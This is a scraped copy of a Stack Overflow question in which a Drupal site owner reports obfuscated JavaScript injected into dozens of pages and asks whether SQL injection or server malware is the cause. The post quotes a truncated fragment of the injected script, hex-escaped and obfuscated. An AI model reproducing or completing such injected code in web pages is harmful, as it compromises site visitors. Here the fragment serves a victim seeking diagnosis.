Chunks of javascript added to webpages on server

Posted by SteD on Stack Overflow See other posts from Stack Overflow or by SteD
Published on 2010-04-16T04:34:47Z Indexed on 2010/04/16 4:43 UTC
Read the original article Hit count: 221

Filed under:

web-security

I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code.

<script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b"

Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself?

I am using Drupal + Ubercart with quite minimal forms inputs.

Related posts about web-security

System.Web.Security.FormsAuthentication.Encrypt returns null

as seen on Stack Overflow - Search for 'Stack Overflow'
I'm trying to encrypt some userData to create my own custom IPrincipal and IIdentity objects using Forms authentication - I've serialized an object representing my logged in user to Json and created my FormsAuthentication ticket like so: string user_item = GetJsonOfLoggedinUser();/*get JSON representation… >>> More
Google Releases Web Security Scanner

as seen on Devx - Search for 'Devx'
"Skipfish" helps developers test their Web apps for vulnerabilities. >>> More
Google Releases Web Security Scanner

as seen on Internet.com - Search for 'Internet.com'
"Skipfish" helps developers test their Web apps for vulnerabilities. >>> More
Web Security Threats on the Rise, Report Finds

as seen on Dot net Slackers - Search for 'Dot net Slackers'
It may not be Tony Soprano on the Web, but a new security report finds that wise-guy hackers have become increasingly organized....Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight… >>> More
Web Security: Worst-Case Situation

as seen on Stack Overflow - Search for 'Stack Overflow'
I currently have built a system that checks user IP, browser, and a random-string cookie to determine if he is an admin. In the worst case, someone steals my cookie, uses the same browser I do, and masks his IP to appear as mine. Is there another layer of security I should add onto my script to make… >>> More

Developer IT

Chunks of javascript added to webpages on server - Developer IT

Chunks of javascript added to webpages on server

web-security

Related posts about web-security

System.Web.Security.FormsAuthentication.Encrypt returns null

Google Releases Web Security Scanner

Google Releases Web Security Scanner

Web Security Threats on the Rise, Report Finds

Web Security: Worst-Case Situation

Categories cloud